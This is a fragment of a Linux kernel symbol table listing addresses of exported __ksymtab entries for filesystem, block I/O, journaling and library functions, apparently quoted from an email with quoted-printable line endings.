10330738 r __ksymtab_generic_cont_expand=0A=
10330740 r __ksymtab_generic_commit_write=0A=
10330748 r __ksymtab_generic_block_bmap=0A=
10330750 r __ksymtab_fsync_bdev=0A=
10330758 r __ksymtab_file_fsync=0A=
10330760 r __ksymtab_end_buffer_write_sync=0A=
10330768 r __ksymtab_end_buffer_read_sync=0A=
10330770 r __ksymtab_end_buffer_async_write=0A=
10330778 r __ksymtab_cont_prepare_write=0A=
10330780 r __ksymtab_block_write_full_page=0A=
10330788 r __ksymtab_block_truncate_page=0A=
10330790 r __ksymtab_block_sync_page=0A=
10330798 r __ksymtab_block_read_full_page=0A=
103307a0 r __ksymtab_block_prepare_write=0A=
103307a8 r __ksymtab_block_commit_write=0A=
103307b0 r __ksymtab___wait_on_buffer=0A=
103307b8 r __ksymtab___brelse=0A=
103307c0 r __ksymtab___bforget=0A=
103307c8 r __ksymtab_free_buffer_head=0A=
103307d0 r __ksymtab_alloc_buffer_head=0A=
103307d8 r __ksymtab_try_to_free_buffers=0A=
103307e0 r __ksymtab_nobh_truncate_page=0A=
103307e8 r __ksymtab_nobh_writepage=0A=
103307f0 r __ksymtab_nobh_commit_write=0A=
103307f8 r __ksymtab_nobh_prepare_write=0A=
10330800 r __ksymtab_unmap_underlying_metadata=0A=
10330808 r __ksymtab_create_empty_buffers=0A=
10330810 r __ksymtab_block_invalidatepage=0A=
10330818 r __ksymtab_try_to_release_page=0A=
10330820 r __ksymtab_set_bh_page=0A=
10330828 r __ksymtab___bread=0A=
10330830 r __ksymtab___breadahead=0A=
10330838 r __ksymtab___getblk=0A=
10330840 r __ksymtab___find_get_block=0A=
10330848 r __ksymtab___set_page_dirty_buffers=0A=
10330850 r __ksymtab_mark_buffer_dirty_inode=0A=
10330858 r __ksymtab_sync_mapping_buffers=0A=
10330860 r __ksymtab_mark_buffer_async_write=0A=
10330868 r __ksymtab_thaw_bdev=0A=
10330870 r __ksymtab_freeze_bdev=0A=
10330878 r __ksymtab_sync_blockdev=0A=
10330880 r __ksymtab___lock_buffer=0A=
10330888 r __ksymtab_bio_alloc_bioset=0A=
10330890 r __ksymtab_bioset_free=0A=
10330898 r __ksymtab_bioset_create=0A=
103308a0 r __ksymtab_bio_uncopy_user=0A=
103308a8 r __ksymtab_bio_copy_user=0A=
103308b0 r __ksymtab_bio_split_pool=0A=
103308b8 r __ksymtab_bio_split=0A=
103308c0 r __ksymtab_bio_pair_release=0A=
103308c8 r __ksymtab_bio_map_kern=0A=
103308d0 r __ksymtab_bio_unmap_user=0A=
103308d8 r __ksymtab_bio_map_user=0A=
103308e0 r __ksymtab_bio_get_nr_vecs=0A=
103308e8 r __ksymtab_bio_add_pc_page=0A=
103308f0 r __ksymtab_bio_add_page=0A=
103308f8 r __ksymtab_bio_hw_segments=0A=
10330900 r __ksymtab_bio_phys_segments=0A=
10330908 r __ksymtab_bio_clone=0A=
10330910 r __ksymtab___bio_clone=0A=
10330918 r __ksymtab_bio_init=0A=
10330920 r __ksymtab_bio_endio=0A=
10330928 r __ksymtab_bio_free=0A=
10330930 r __ksymtab_bio_put=0A=
10330938 r __ksymtab_bio_alloc=0A=
10330940 r __ksymtab_zero_fill_bio=0A=
10330948 r __ksymtab_kern_mount=0A=
10330950 r __ksymtab_get_sb_single=0A=
10330958 r __ksymtab_get_sb_nodev=0A=
10330960 r __ksymtab_kill_block_super=0A=
10330968 r __ksymtab_get_sb_bdev=0A=
10330970 r __ksymtab_kill_litter_super=0A=
10330978 r __ksymtab_kill_anon_super=0A=
10330980 r __ksymtab_set_anon_super=0A=
10330988 r __ksymtab_get_super=0A=
10330990 r __ksymtab_drop_super=0A=
10330998 r __ksymtab_sget=0A=
103309a0 r __ksymtab_generic_shutdown_super=0A=
103309a8 r __ksymtab_deactivate_super=0A=
103309b0 r __ksymtab_close_bdev_excl=0A=
103309b8 r __ksymtab_open_bdev_excl=0A=
103309c0 r __ksymtab_ioctl_by_bdev=0A=
103309c8 r __ksymtab_blkdev_put=0A=
103309d0 r __ksymtab_blkdev_get=0A=
103309d8 r __ksymtab_bd_set_size=0A=
103309e0 r __ksymtab_check_disk_change=0A=
103309e8 r __ksymtab_open_by_devnum=0A=
103309f0 r __ksymtab_bd_release=0A=
103309f8 r __ksymtab_bd_claim=0A=
10330a00 r __ksymtab_bdput=0A=
10330a08 r __ksymtab_bdget=0A=
10330a10 r __ksymtab_sb_min_blocksize=0A=
10330a18 r __ksymtab_sb_set_blocksize=0A=
10330a20 r __ksymtab_set_blocksize=0A=
10330a28 r __ksymtab_I_BDEV=0A=
10330a30 r __ksymtab_unregister_chrdev=0A=
10330a38 r __ksymtab_register_chrdev=0A=
10330a40 r __ksymtab_cdev_add=0A=
10330a48 r __ksymtab_cdev_del=0A=
10330a50 r __ksymtab_cdev_alloc=0A=
10330a58 r __ksymtab_cdev_init=0A=
10330a60 r __ksymtab_alloc_chrdev_region=0A=
10330a68 r __ksymtab_unregister_chrdev_region=0A=
10330a70 r __ksymtab_register_chrdev_region=0A=
10330a78 r __ksymtab_inode_set_bytes=0A=
10330a80 r __ksymtab_inode_get_bytes=0A=
10330a88 r __ksymtab_inode_sub_bytes=0A=
10330a90 r __ksymtab_inode_add_bytes=0A=
10330a98 r __ksymtab_vfs_fstat=0A=
10330aa0 r __ksymtab_vfs_lstat=0A=
10330aa8 r __ksymtab_vfs_stat=0A=
10330ab0 r __ksymtab_vfs_getattr=0A=
10330ab8 r __ksymtab_generic_fillattr=0A=
10330ac0 r __ksymtab_set_binfmt=0A=
10330ac8 r __ksymtab_search_binary_handler=0A=
10330ad0 r __ksymtab_remove_arg_zero=0A=
10330ad8 r __ksymtab_compute_creds=0A=
10330ae0 r __ksymtab_prepare_binprm=0A=
10330ae8 r __ksymtab_flush_old_exec=0A=
10330af0 r __ksymtab_kernel_read=0A=
10330af8 r __ksymtab_open_exec=0A=
10330b00 r __ksymtab_setup_arg_pages=0A=
10330b08 r __ksymtab_copy_strings_kernel=0A=
10330b10 r __ksymtab_unregister_binfmt=0A=
10330b18 r __ksymtab_register_binfmt=0A=
10330b20 r __ksymtab_suid_dumpable=0A=
10330b28 r __ksymtab_generic_readlink=0A=
10330b30 r __ksymtab_dentry_unhash=0A=
10330b38 r __ksymtab_vfs_unlink=0A=
10330b40 r __ksymtab_vfs_symlink=0A=
10330b48 r __ksymtab_vfs_rmdir=0A=
10330b50 r __ksymtab_vfs_rename=0A=
10330b58 r __ksymtab_vfs_readlink=0A=
10330b60 r __ksymtab_generic_permission=0A=
10330b68 r __ksymtab_vfs_mknod=0A=
10330b70 r __ksymtab_vfs_mkdir=0A=
10330b78 r __ksymtab_vfs_link=0A=
10330b80 r __ksymtab_vfs_follow_link=0A=
10330b88 r __ksymtab_vfs_create=0A=
10330b90 r __ksymtab_unlock_rename=0A=
10330b98 r __ksymtab_file_permission=0A=
10330ba0 r __ksymtab_vfs_permission=0A=
10330ba8 r __ksymtab_permission=0A=
10330bb0 r __ksymtab_path_walk=0A=
10330bb8 r __ksymtab_path_release=0A=
10330bc0 r __ksymtab_path_lookup=0A=
10330bc8 r __ksymtab_page_symlink_inode_operations=0A=
10330bd0 r __ksymtab_page_symlink=0A=
10330bd8 r __ksymtab_page_readlink=0A=
10330be0 r __ksymtab_page_put_link=0A=
10330be8 r __ksymtab_page_follow_link_light=0A=
10330bf0 r __ksymtab_lookup_one_len=0A=
10330bf8 r __ksymtab_lookup_hash=0A=
10330c00 r __ksymtab_lock_rename=0A=
10330c08 r __ksymtab_getname=0A=
10330c10 r __ksymtab_get_write_access=0A=
10330c18 r __ksymtab_follow_up=0A=
10330c20 r __ksymtab_follow_down=0A=
10330c28 r __ksymtab___user_walk=0A=
10330c30 r __ksymtab_kill_fasync=0A=
10330c38 r __ksymtab___kill_fasync=0A=
10330c40 r __ksymtab_fasync_helper=0A=
10330c48 r __ksymtab_f_setown=0A=
10330c50 r __ksymtab_vfs_readdir=0A=
10330c58 r __ksymtab_poll_freewait=0A=
10330c60 r __ksymtab_poll_initwait=0A=
10330c68 r __ksymtab_steal_locks=0A=
10330c70 r __ksymtab_lock_may_write=0A=
10330c78 r __ksymtab_lock_may_read=0A=
10330c80 r __ksymtab_posix_unblock_lock=0A=
10330c88 r __ksymtab_posix_block_lock=0A=
10330c90 r __ksymtab_locks_remove_posix=0A=
10330c98 r __ksymtab_flock_lock_file_wait=0A=
10330ca0 r __ksymtab_setlease=0A=
10330ca8 r __ksymtab_lease_get_mtime=0A=
10330cb0 r __ksymtab___break_lease=0A=
10330cb8 r __ksymtab_lease_modify=0A=
10330cc0 r __ksymtab_locks_mandatory_area=0A=
10330cc8 r __ksymtab_posix_lock_file_wait=0A=
10330cd0 r __ksymtab_posix_lock_file=0A=
10330cd8 r __ksymtab_posix_locks_deadlock=0A=
10330ce0 r __ksymtab_posix_test_lock=0A=
10330ce8 r __ksymtab_locks_copy_lock=0A=
10330cf0 r __ksymtab_locks_init_lock=0A=
10330cf8 r __ksymtab_file_lock_list=0A=
10330d00 r __ksymtab_shrink_dcache_sb=0A=
10330d08 r __ksymtab_shrink_dcache_parent=0A=
10330d10 r __ksymtab_names_cachep=0A=
10330d18 r __ksymtab_have_submounts=0A=
10330d20 r __ksymtab_find_inode_number=0A=
10330d28 r __ksymtab_dput=0A=
10330d30 r __ksymtab_dget_locked=0A=
10330d38 r __ksymtab_d_validate=0A=
10330d40 r __ksymtab_d_splice_alias=0A=
10330d48 r __ksymtab_d_rehash=0A=
10330d50 r __ksymtab_d_prune_aliases=0A=
10330d58 r __ksymtab_d_path=0A=
10330d60 r __ksymtab_d_move=0A=
10330d68 r __ksymtab_d_lookup=0A=
10330d70 r __ksymtab_d_invalidate=0A=
10330d78 r __ksymtab_d_instantiate=0A=
10330d80 r __ksymtab_d_find_alias=0A=
10330d88 r __ksymtab_d_delete=0A=
10330d90 r __ksymtab_d_alloc_root=0A=
10330d98 r __ksymtab_d_alloc_anon=0A=
10330da0 r __ksymtab_d_alloc=0A=
10330da8 r __ksymtab_d_genocide=0A=
10330db0 r __ksymtab_d_instantiate_unique=0A=
10330db8 r __ksymtab_dcache_lock=0A=
10330dc0 r __ksymtab_init_special_inode=0A=
10330dc8 r __ksymtab_inode_needs_sync=0A=
10330dd0 r __ksymtab_file_update_time=0A=
10330dd8 r __ksymtab_touch_atime=0A=
10330de0 r __ksymtab_bmap=0A=
10330de8 r __ksymtab_iput=0A=
10330df0 r __ksymtab_generic_delete_inode=0A=
10330df8 r __ksymtab_remove_inode_hash=0A=
10330e00 r __ksymtab___insert_inode_hash=0A=
10330e08 r __ksymtab_iget_locked=0A=
10330e10 r __ksymtab_iget5_locked=0A=
10330e18 r __ksymtab_ilookup=0A=
10330e20 r __ksymtab_ilookup5=0A=
10330e28 r __ksymtab_ilookup5_nowait=0A=
10330e30 r __ksymtab_igrab=0A=
10330e38 r __ksymtab_iunique=0A=
10330e40 r __ksymtab_unlock_new_inode=0A=
10330e48 r __ksymtab_new_inode=0A=
10330e50 r __ksymtab___invalidate_device=0A=
10330e58 r __ksymtab_invalidate_inodes=0A=
10330e60 r __ksymtab_clear_inode=0A=
10330e68 r __ksymtab_inode_init_once=0A=
10330e70 r __ksymtab_notify_change=0A=
10330e78 r __ksymtab_inode_setattr=0A=
10330e80 r __ksymtab_inode_change_ok=0A=
10330e88 r __ksymtab_is_bad_inode=0A=
10330e90 r __ksymtab_make_bad_inode=0A=
10330e98 r __ksymtab_get_fs_type=0A=
10330ea0 r __ksymtab_unregister_filesystem=0A=
10330ea8 r __ksymtab_register_filesystem=0A=
10330eb0 r __ksymtab_may_umount=0A=
10330eb8 r __ksymtab_may_umount_tree=0A=
10330ec0 r __ksymtab_mnt_unpin=0A=
10330ec8 r __ksymtab_mnt_pin=0A=
10330ed0 r __ksymtab_mntput_no_expire=0A=
10330ed8 r __ksymtab_wait_on_sync_kiocb=0A=
10330ee0 r __ksymtab_aio_put_req=0A=
10330ee8 r __ksymtab_aio_complete=0A=
10330ef0 r __ksymtab_kick_iocb=0A=
10330ef8 r __ksymtab_seq_puts=0A=
10330f00 r __ksymtab_seq_putc=0A=
10330f08 r __ksymtab_seq_release_private=0A=
10330f10 r __ksymtab_single_release=0A=
10330f18 r __ksymtab_single_open=0A=
10330f20 r __ksymtab_seq_path=0A=
10330f28 r __ksymtab_seq_printf=0A=
10330f30 r __ksymtab_seq_escape=0A=
10330f38 r __ksymtab_seq_release=0A=
10330f40 r __ksymtab_seq_lseek=0A=
10330f48 r __ksymtab_seq_read=0A=
10330f50 r __ksymtab_seq_open=0A=
10330f58 r __ksymtab_generic_removexattr=0A=
10330f60 r __ksymtab_generic_setxattr=0A=
10330f68 r __ksymtab_generic_listxattr=0A=
10330f70 r __ksymtab_generic_getxattr=0A=
10330f78 r __ksymtab_simple_transaction_release=0A=
10330f80 r __ksymtab_simple_transaction_read=0A=
10330f88 r __ksymtab_simple_transaction_get=0A=
10330f90 r __ksymtab_simple_read_from_buffer=0A=
10330f98 r __ksymtab_simple_unlink=0A=
10330fa0 r __ksymtab_simple_sync_file=0A=
10330fa8 r __ksymtab_simple_statfs=0A=
10330fb0 r __ksymtab_simple_rmdir=0A=
10330fb8 r __ksymtab_simple_rename=0A=
10330fc0 r __ksymtab_simple_release_fs=0A=
10330fc8 r __ksymtab_simple_readpage=0A=
10330fd0 r __ksymtab_simple_prepare_write=0A=
10330fd8 r __ksymtab_simple_pin_fs=0A=
10330fe0 r __ksymtab_simple_lookup=0A=
10330fe8 r __ksymtab_simple_link=0A=
10330ff0 r __ksymtab_simple_getattr=0A=
10330ff8 r __ksymtab_simple_fill_super=0A=
10331000 r __ksymtab_d_alloc_name=0A=
10331008 r __ksymtab_simple_empty=0A=
10331010 r __ksymtab_simple_dir_operations=0A=
10331018 r __ksymtab_simple_dir_inode_operations=0A=
10331020 r __ksymtab_simple_commit_write=0A=
10331028 r __ksymtab_get_sb_pseudo=0A=
10331030 r __ksymtab_generic_read_dir=0A=
10331038 r __ksymtab_dcache_readdir=0A=
10331040 r __ksymtab_dcache_dir_open=0A=
10331048 r __ksymtab_dcache_dir_lseek=0A=
10331050 r __ksymtab_dcache_dir_close=0A=
10331058 r __ksymtab_generic_osync_inode=0A=
10331060 r __ksymtab_sync_inode=0A=
10331068 r __ksymtab_write_inode_now=0A=
10331070 r __ksymtab___mark_inode_dirty=0A=
10331078 r __ksymtab_mpage_writepage=0A=
10331080 r __ksymtab_mpage_writepages=0A=
10331088 r __ksymtab_mpage_readpage=0A=
10331090 r __ksymtab_mpage_readpages=0A=
10331098 r __ksymtab___blockdev_direct_IO=0A=
103310a0 r __ksymtab_posix_acl_permission=0A=
103310a8 r __ksymtab_posix_acl_chmod_masq=0A=
103310b0 r __ksymtab_posix_acl_create_masq=0A=
103310b8 r __ksymtab_posix_acl_from_mode=0A=
103310c0 r __ksymtab_posix_acl_equiv_mode=0A=
103310c8 r __ksymtab_posix_acl_valid=0A=
103310d0 r __ksymtab_posix_acl_clone=0A=
103310d8 r __ksymtab_posix_acl_alloc=0A=
103310e0 r __ksymtab_posix_acl_to_xattr=0A=
103310e8 r __ksymtab_posix_acl_from_xattr=0A=
103310f0 r __ksymtab___inode_dir_notify=0A=
103310f8 r __ksymtab_proc_root_driver=0A=
10331100 r __ksymtab_proc_bus=0A=
10331108 r __ksymtab_proc_net_stat=0A=
10331110 r __ksymtab_proc_net=0A=
10331118 r __ksymtab_proc_root_fs=0A=
10331120 r __ksymtab_proc_root=0A=
10331128 r __ksymtab_remove_proc_entry=0A=
10331130 r __ksymtab_create_proc_entry=0A=
10331138 r __ksymtab_proc_mkdir=0A=
10331140 r __ksymtab_proc_symlink=0A=
10331148 r __ksymtab_read_dev_sector=0A=
10331150 r __ksymtab___bdevname=0A=
10331158 r __ksymtab_bdevname=0A=
10331160 r __ksymtab_journal_force_commit=0A=
10331168 r __ksymtab_journal_try_to_free_buffers=0A=
10331170 r __ksymtab_journal_invalidatepage=0A=
10331178 r __ksymtab_journal_blocks_per_page=0A=
10331180 r __ksymtab_journal_wipe=0A=
10331188 r __ksymtab_journal_force_commit_nested=0A=
10331190 r __ksymtab_journal_start_commit=0A=
10331198 r __ksymtab_log_wait_commit=0A=
103311a0 r __ksymtab_journal_clear_err=0A=
103311a8 r __ksymtab_journal_ack_err=0A=
103311b0 r __ksymtab_journal_errno=0A=
103311b8 r __ksymtab_journal_abort=0A=
103311c0 r __ksymtab_journal_update_superblock=0A=
103311c8 r __ksymtab_journal_destroy=0A=
103311d0 r __ksymtab_journal_load=0A=
103311d8 r __ksymtab_journal_create=0A=
103311e0 r __ksymtab_journal_set_features=0A=
103311e8 r __ksymtab_journal_check_available_features=0A=
103311f0 r __ksymtab_journal_check_used_features=0A=
103311f8 r __ksymtab_journal_update_format=0A=
10331200 r __ksymtab_journal_init_inode=0A=
10331208 r __ksymtab_journal_init_dev=0A=
10331210 r __ksymtab_journal_revoke=0A=
10331218 r __ksymtab_journal_flush=0A=
10331220 r __ksymtab_journal_forget=0A=
10331228 r __ksymtab_journal_release_buffer=0A=
10331230 r __ksymtab_journal_dirty_metadata=0A=
10331238 r __ksymtab_journal_dirty_data=0A=
10331240 r __ksymtab_journal_get_undo_access=0A=
10331248 r __ksymtab_journal_get_create_access=0A=
10331250 r __ksymtab_journal_get_write_access=0A=
10331258 r __ksymtab_journal_unlock_updates=0A=
10331260 r __ksymtab_journal_lock_updates=0A=
10331268 r __ksymtab_journal_stop=0A=
10331270 r __ksymtab_journal_extend=0A=
10331278 r __ksymtab_journal_restart=0A=
10331280 r __ksymtab_journal_start=0A=
10331288 r __ksymtab_utf8_wcstombs=0A=
10331290 r __ksymtab_utf8_wctomb=0A=
10331298 r __ksymtab_utf8_mbstowcs=0A=
103312a0 r __ksymtab_utf8_mbtowc=0A=
103312a8 r __ksymtab_load_nls_default=0A=
103312b0 r __ksymtab_load_nls=0A=
103312b8 r __ksymtab_unload_nls=0A=
103312c0 r __ksymtab_unregister_nls=0A=
103312c8 r __ksymtab_register_nls=0A=
103312d0 r __ksymtab_cap_vm_enough_memory=0A=
103312d8 r __ksymtab_cap_syslog=0A=
103312e0 r __ksymtab_cap_task_reparent_to_init=0A=
103312e8 r __ksymtab_cap_task_post_setuid=0A=
103312f0 r __ksymtab_cap_inode_removexattr=0A=
103312f8 r __ksymtab_cap_inode_setxattr=0A=
10331300 r __ksymtab_cap_bprm_secureexec=0A=
10331308 r __ksymtab_cap_bprm_apply_creds=0A=
10331310 r __ksymtab_cap_bprm_set_security=0A=
10331318 r __ksymtab_cap_capset_set=0A=
10331320 r __ksymtab_cap_capset_check=0A=
10331328 r __ksymtab_cap_capget=0A=
10331330 r __ksymtab_cap_ptrace=0A=
10331338 r __ksymtab_cap_settime=0A=
10331340 r __ksymtab_cap_capable=0A=
10331348 r __ksymtab_cap_netlink_recv=0A=
10331350 r __ksymtab_cap_netlink_send=0A=
10331358 r __ksymtab_elevator_init=0A=
10331360 r __ksymtab_elevator_exit=0A=
10331368 r __ksymtab_elv_completed_request=0A=
10331370 r __ksymtab_elv_queue_empty=0A=
10331378 r __ksymtab_elv_dequeue_request=0A=
10331380 r __ksymtab_elv_next_request=0A=
10331388 r __ksymtab_elv_requeue_request=0A=
10331390 r __ksymtab___elv_add_request=0A=
10331398 r __ksymtab_elv_add_request=0A=
103313a0 r __ksymtab_elv_dispatch_sort=0A=
103313a8 r __ksymtab_elv_rq_merge_ok=0A=
103313b0 r __ksymtab_swap_io_context=0A=
103313b8 r __ksymtab_copy_io_context=0A=
103313c0 r __ksymtab_get_io_context=0A=
103313c8 r __ksymtab_current_io_context=0A=
103313d0 r __ksymtab_put_io_context=0A=
103313d8 r __ksymtab_kblockd_flush=0A=
103313e0 r __ksymtab_kblockd_schedule_work=0A=
103313e8 r __ksymtab_blk_rq_bio_prep=0A=
103313f0 r __ksymtab_end_request=0A=
103313f8 r __ksymtab_end_that_request_last=0A=
10331400 r __ksymtab_blk_complete_request=0A=
10331408 r __ksymtab_end_that_request_chunk=0A=
10331410 r __ksymtab_end_that_request_first=0A=
10331418 r __ksymtab_submit_bio=0A=
10331420 r __ksymtab_generic_make_request=0A=
10331428 r __ksymtab_blk_congestion_wait=0A=
10331430 r __ksymtab_blk_end_sync_rq=0A=
10331438 r __ksymtab_blk_put_request=0A=
10331440 r __ksymtab_blkdev_issue_flush=0A=
10331448 r __ksymtab_blk_execute_rq=0A=
10331450 r __ksymtab_blk_rq_map_kern=0A=
10331458 r __ksymtab_blk_rq_unmap_user=0A=
10331460 r __ksymtab_blk_rq_map_user_iov=0A=
10331468 r __ksymtab_blk_rq_map_user=0A=
10331470 r __ksymtab_blk_insert_request=0A=
10331478 r __ksymtab_blk_requeue_request=0A=
10331480 r __ksymtab_blk_get_request=0A=
10331488 r __ksymtab_blk_get_queue=0A=
10331490 r __ksymtab_blk_init_queue_node=0A=
10331498 r __ksymtab_blk_init_queue=0A=
103314a0 r __ksymtab_blk_alloc_queue_node=0A=
103314a8 r __ksymtab_blk_alloc_queue=0A=
103314b0 r __ksymtab_blk_cleanup_queue=0A=
103314b8 r __ksymtab_blk_run_queue=0A=
103314c0 r __ksymtab_blk_sync_queue=0A=
103314c8 r __ksymtab_blk_stop_queue=0A=
103314d0 r __ksymtab_blk_start_queue=0A=
103314d8 r __ksymtab_generic_unplug_device=0A=
103314e0 r __ksymtab___generic_unplug_device=0A=
103314e8 r __ksymtab_blk_remove_plug=0A=
103314f0 r __ksymtab_blk_plug_device=0A=
103314f8 r __ksymtab_blk_rq_map_sg=0A=
10331500 r __ksymtab_blk_dump_rq_flags=0A=
10331508 r __ksymtab_blk_queue_invalidate_tags=0A=
10331510 r __ksymtab_blk_queue_start_tag=0A=
10331518 r __ksymtab_blk_queue_end_tag=0A=
10331520 r __ksymtab_blk_queue_resize_tags=0A=
10331528 r __ksymtab_blk_queue_init_tags=0A=
10331530 r __ksymtab_blk_queue_free_tags=0A=
10331538 r __ksymtab_blk_queue_find_tag=0A=
10331540 r __ksymtab_blk_queue_dma_alignment=0A=
10331548 r __ksymtab_blk_queue_segment_boundary=0A=
10331550 r __ksymtab_blk_queue_stack_limits=0A=
10331558 r __ksymtab_blk_queue_hardsect_size=0A=
10331560 r __ksymtab_blk_queue_max_segment_size=0A=
10331568 r __ksymtab_blk_queue_max_hw_segments=0A=
10331570 r __ksymtab_blk_queue_max_phys_segments=0A=
10331578 r __ksymtab_blk_queue_max_sectors=0A=
10331580 r __ksymtab_blk_queue_bounce_limit=0A=
10331588 r __ksymtab_blk_queue_issue_flush_fn=0A=
10331590 r __ksymtab_blk_queue_ordered=0A=
10331598 r __ksymtab_blk_queue_make_request=0A=
103315a0 r __ksymtab_blk_queue_softirq_done=0A=
103315a8 r __ksymtab_blk_queue_merge_bvec=0A=
103315b0 r __ksymtab_blk_queue_prep_rq=0A=
103315b8 r __ksymtab_blk_queue_activity_fn=0A=
103315c0 r __ksymtab_blk_get_backing_dev_info=0A=
103315c8 r __ksymtab_blk_max_pfn=0A=
103315d0 r __ksymtab_blk_max_low_pfn=0A=
103315d8 r __ksymtab_invalidate_partition=0A=
103315e0 r __ksymtab_bdev_read_only=0A=
103315e8 r __ksymtab_set_disk_ro=0A=
103315f0 r __ksymtab_set_device_ro=0A=
103315f8 r __ksymtab_put_disk=0A=
10331600 r __ksymtab_get_disk=0A=
10331608 r __ksymtab_alloc_disk_node=0A=
10331610 r __ksymtab_alloc_disk=0A=
10331618 r __ksymtab_del_gendisk=0A=
10331620 r __ksymtab_add_disk=0A=
10331628 r __ksymtab_blk_unregister_region=0A=
10331630 r __ksymtab_blk_register_region=0A=
10331638 r __ksymtab_unregister_blkdev=0A=
10331640 r __ksymtab_register_blkdev=0A=
10331648 r __ksymtab_scsi_cmd_ioctl=0A=
10331650 r __ksymtab_scsi_command_size=0A=
10331658 r __ksymtab_bitmap_allocate_region=0A=
10331660 r __ksymtab_bitmap_release_region=0A=
10331668 r __ksymtab_bitmap_find_free_region=0A=
10331670 r __ksymtab_bitmap_bitremap=0A=
10331678 r __ksymtab_bitmap_remap=0A=
10331680 r __ksymtab_bitmap_parselist=0A=
10331688 r __ksymtab_bitmap_scnlistprintf=0A=
10331690 r __ksymtab_bitmap_parse=0A=
10331698 r __ksymtab_bitmap_scnprintf=0A=
103316a0 r __ksymtab___bitmap_weight=0A=
103316a8 r __ksymtab___bitmap_subset=0A=
103316b0 r __ksymtab___bitmap_intersects=0A=
103316b8 r __ksymtab___bitmap_andnot=0A=
103316c0 r __ksymtab___bitmap_xor=0A=
103316c8 r __ksymtab___bitmap_or=0A=
103316d0 r __ksymtab___bitmap_and=0A=
103316d8 r __ksymtab___bitmap_shift_left=0A=
103316e0 r __ksymtab___bitmap_shift_right=0A=
103316e8 r __ksymtab___bitmap_complement=0A=
103316f0 r __ksymtab___bitmap_equal=0A=
103316f8 r __ksymtab___bitmap_full=0A=
10331700 r __ksymtab___bitmap_empty=0A=
10331708 r __ksymtab_get_options=0A=
10331710 r __ksymtab_get_option=0A=
10331718 r __ksymtab_memparse=0A=
10331720 r __ksymtab__ctype=0A=
10331728 r __ksymtab__atomic_dec_and_lock=0A=
10331730 r __ksymtab___div64_32=0A=
10331738 r __ksymtab_idr_init=0A=
10331740 r __ksymtab_idr_find=0A=
10331748 r __ksymtab_idr_destroy=0A=
10331750 r __ksymtab_idr_remove=0A=
10331758 r __ksymtab_idr_get_new=0A=
10331760 r __ksymtab_idr_get_new_above=0A=
10331768 r __ksymtab_idr_pre_get=0A=
10331770 r __ksymtab_int_sqrt=0A=
10331778 r __ksymtab_subsys_remove_file=0A=
10331780 r __ksymtab_subsys_create_file=0A=
10331788 r __ksymtab_subsystem_unregister=0A=
10331790 r __ksymtab_subsystem_register=0A=
10331798 r __ksymtab_subsystem_init=0A=
103317a0 r __ksymtab_kset_find_obj=0A=
103317a8 r __ksymtab_kset_unregister=0A=
103317b0 r __ksymtab_kset_register=0A=
103317b8 r __ksymtab_kobject_del=0A=
103317c0 r __ksymtab_kobject_add=0A=
103317c8 r __ksymtab_kobject_put=0A=
103317d0 r __ksymtab_kobject_get=0A=
103317d8 r __ksymtab_kobject_unregister=0A=
103317e0 r __ksymtab_kobject_register=0A=
103317e8 r __ksymtab_kobject_init=0A=
103317f0 r __ksymtab_kobject_set_name=0A=
103317f8 r __ksymtab_kref_put=0A=
10331800 r __ksymtab_kref_get=0A=
10331808 r __ksymtab_kref_init=0A=
10331810 r __ksymtab_radix_tree_tagged=0A=
10331818 r __ksymtab_radix_tree_delete=0A=
10331820 r __ksymtab_radix_tree_gang_lookup_tag=0A=
10331828 r __ksymtab_radix_tree_gang_lookup=0A=
10331830 r __ksymtab_radix_tree_tag_clear=0A=
10331838 r __ksymtab_radix_tree_tag_set=0A=
10331840 r __ksymtab_radix_tree_lookup=0A=
10331848 r __ksymtab_radix_tree_lookup_slot=0A=
10331850 r __ksymtab_radix_tree_insert=0A=
10331858 r __ksymtab_rb_replace_node=0A=
10331860 r __ksymtab_rb_prev=0A=
10331868 r __ksymtab_rb_next=0A=
10331870 r __ksymtab_rb_last=0A=
10331878 r __ksymtab_rb_first=0A=
10331880 r __ksymtab_rb_erase=0A=
10331888 r __ksymtab_rb_insert_color=0A=
10331890 r __ksymtab___downgrade_write=0A=
10331898 r __ksymtab___up_write=0A=
103318a0 r __ksymtab___up_read=0A=
103318a8 r __ksymtab___down_write_trylock=0A=
103318b0 r __ksymtab___down_write=0A=
103318b8 r __ksymtab___down_read_trylock=0A=
103318c0 r __ksymtab___down_read=0A=
103318c8 r __ksymtab_init_rwsem=0A=
103318d0 r __ksymtab_memchr=0A=
103318d8 r __ksymtab_strstr=0A=
103318e0 r __ksymtab_memscan=0A=
103318e8 r __ksymtab_memcmp=0A=
103318f0 r __ksymtab_memmove=0A=
103318f8 r __ksymtab_strsep=0A=
10331900 r __ksymtab_strpbrk=0A=
10331908 r __ksymtab_strcspn=0A=
10331910 r __ksymtab_strspn=0A=
10331918 r __ksymtab_strnlen=0A=
10331920 r __ksymtab_strlen=0A=
10331928 r __ksymtab_strnchr=0A=
10331930 r __ksymtab_strrchr=0A=
10331938 r __ksymtab_strchr=0A=
10331940 r __ksymtab_strncmp=0A=
10331948 r __ksymtab_strcmp=0A=
10331950 r __ksymtab_strlcat=0A=
10331958 r __ksymtab_strncat=0A=
10331960 r __ksymtab_strcat=0A=
10331968 r __ksymtab_strlcpy=0A=
10331970 r __ksymtab_strncpy=0A=
10331978 r __ksymtab_strcpy=0A=
10331980 r __ksymtab_strnicmp=0A=
10331988 r __ksymtab_sscanf=0A=
10331990 r __ksymtab_vsscanf=0A=
10331998 r __ksymtab_sprintf=0A=
103319a0 r __ksymtab_vsprintf=0A=
103319a8 r __ksymtab_scnprintf=0A=
103319b0 r __ksymtab_snprintf=0A=
103319b8 r __ksymtab_vscnprintf=0A=
103319c0 r __ksymtab_vsnprintf=0A=
103319c8 r __ksymtab_simple_strtoull=0A=
103319d0 r __ksymtab_simple_strtol=0A=
103319d8 r __ksymtab_simple_strtoul=0A=
103319e0 r __ksymtab_outsl=0A=
103319e8 r __ksymtab_outsw=0A=
103319f0 r __ksymtab_outsb=0A=
103319f8 r __ksymtab_insl=0A=
10331a00 r __ksymtab_insw=0A=
10331a08 r __ksymtab_insb=0A=
10331a10 r __ksymtab_memcpy=0A=
10331a18 r __ksymtab_copy_in_user=0A=
10331a20 r __ksymtab_copy_from_user=0A=
10331a28 r __ksymtab_copy_to_user=0A=
10331a30 r __ksymtab_sort=0A=
10331a38 r __ksymtab_match_strdup=0A=
10331a40 r __ksymtab_match_strcpy=0A=
10331a48 r __ksymtab_match_hex=0A=
10331a50 r __ksymtab_match_octal=0A=
10331a58 r __ksymtab_match_int=0A=
